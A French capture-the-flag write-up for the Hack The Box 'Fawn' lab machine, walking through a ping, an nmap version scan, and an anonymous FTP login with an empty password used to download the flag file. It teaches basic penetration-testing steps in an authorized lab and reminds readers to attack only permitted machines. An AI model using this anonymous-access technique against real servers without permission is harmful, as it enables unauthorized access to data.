Introduction#
Fawn est la seconde box du parcours Starting Point de Hack The Box. C’est une machine tout aussi simple que la machine Meow :
Elle permet de découvrir un autre service potentiellement exploitable durant un pentest. Un walkthrough officiel existe déjà sur HTB si vous voulez un guide pas à pas.
Dans ce ce writeup, je ne publie pas directement le flag final, l’objectif est d’apprendre en pratiquant. Si vous voulez le flag, suivez les étapes sur la machine.
NOTE : n’attaquez que des machines sur lesquelles vous avez l’autorisation (ex. machines HTB, ou lab perso). Respectez les règles de la plateforme.
Vidéo Walkthrough#
Si tu préfères regarder un tuto plutôt que lire, voici ma vidéo :
Reconnaissance (Information gathering)#
Découverte d’hôte (Asset discovery)#
La première étape, comme toujours, est de vérifier que la machine répond avec la commande ping suivi de l’IP de la cible. Cela permet de confirmer la connectivité réseau.
┌─[user@parrot]─[~]
└──╼ $ping 10.129.130.0
PING 10.129.130.0 (10.129.130.0) 56(84) bytes of data.
64 bytes from 10.129.130.0: icmp_seq=1 ttl=63 time=16.1 ms
64 bytes from 10.129.130.0: icmp_seq=2 ttl=63 time=15.5 ms
64 bytes from 10.129.130.0: icmp_seq=3 ttl=63 time=14.5 ms
64 bytes from 10.129.130.0: icmp_seq=4 ttl=63 time=15.6 ms
^C
--- 10.129.130.0 ping statistics ---
10 packets transmitted, 9 received, 10% packet loss, time 9035ms
rtt min/avg/max/mdev = 14.459/210.777/1769.368/551.046 ms, pipe 2Quand on obtient des réponses, on peut interrompre la commande avec CTRL+C. Les 4 paquets que nous avons reçue en réponse nous indique bien que la cible est joignable.
Énumération des services (Service enumeration)#
On va scanner les ports pour connaître les services accessibles et leurs versions. nmap est l’outil standard pour ça. J’utilise le flag -sV pour la détection de version.
┌─[user@parrot]─[~]
└──╼ $nmap -sV 10.129.130.0
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-24 18:14 UTC
Nmap scan report for 10.129.130.0
Host is up (0.035s latency).
Not shown: 835 closed tcp ports (conn-refused), 164 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
Service Info: OS: UnixOn voit qu’un seul port est ouvert, le port 21/tcp. Le service qui tourne dessus est FTP. FTP est un protocole de transfert de fichiers standard. Il est non chiffré, ce qui signifie que les données transitent en clair. Sur des machines mal configurées, il peut accepter des connexions sans mot de passe (anonymous) ou avec des identifiants par défaut.
Pré-exploitation#
Evaluation de vulnerabilité (Vulnerability Assessment)#
Avant d’exploiter quoi que ce soit, on vérifie si une connexion interactive est possible. Ici, on va essayer ftp 10.129.130.0 pour voir l’écran d’accueil et éventuellement un prompt de login.
┌─[user@parrot]─[~]
└──╼ $ftp 10.129.130.0
Connected to 10.129.130.0.
220 (vsFTPd 3.0.3)
Name (10.129.130.0:user):Le service présente une invite d’authentification. On va tenter d’exploiter une mauvaise configuration courante en utilisant le compte par défaut anonymous avec un mot de passe vide.
Exploitation#
Accès initial#
On teste donc le compte anonymous et on appuie juste sur entrée lorsqu’il demande un mot de passe.
┌─[user@parrot]─[~]
└──╼ $ftp 10.129.130.0
Connected to 10.129.130.0.
220 (vsFTPd 3.0.3)
Name (10.129.130.0:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>La connexion est validée par le message 230 Login successful. Une fois l’accès obtenu, nous utilisons la commande ls pour explorer l’arborescence et identifier d’éventuels fichiers sensibles.
ftp> ls
229 Entering Extended Passive Mode (|||25853|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.L’énumération révèle la présence d’un fichier nommé flag.txt. Il s’agit très probablement de notre objectif. Nous utilisons donc la commande get pour le télécharger sur notre machine locale.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||38281|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |***********************************| 32 9.52 KiB/s 00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (1.75 KiB/s)On peut du coup fermer la connexion ftp avec la commande exit.
ftp> exit
221 Goodbye.Post-Exploitation#
Le téléchargement terminé, nous vérifions la présence du fichier en local en listant le contenu du répertoire courant avec la commande ls.
┌─[user@parrot]─[~]
└──╼ $ls
Desktop Downloads Pictures Templates flag.txt
Documents Music Public VideosLe fichier est bien présent. Il ne reste plus qu’à utiliser cat pour en afficher le contenu et valider le flag.
┌─[user@parrot]─[~]
└──╼ $cat flag.txt
035{...hidden..}815La machine est pwned !
Pour aller plus loin#
Script automatisé#
J’ai fait un script python qui permet de récuperer automatiquement le flag de la box Fawn
Rapport professionnel#
Ce n’est pas encore fait mais je prévois de faire un rapport professionnel !

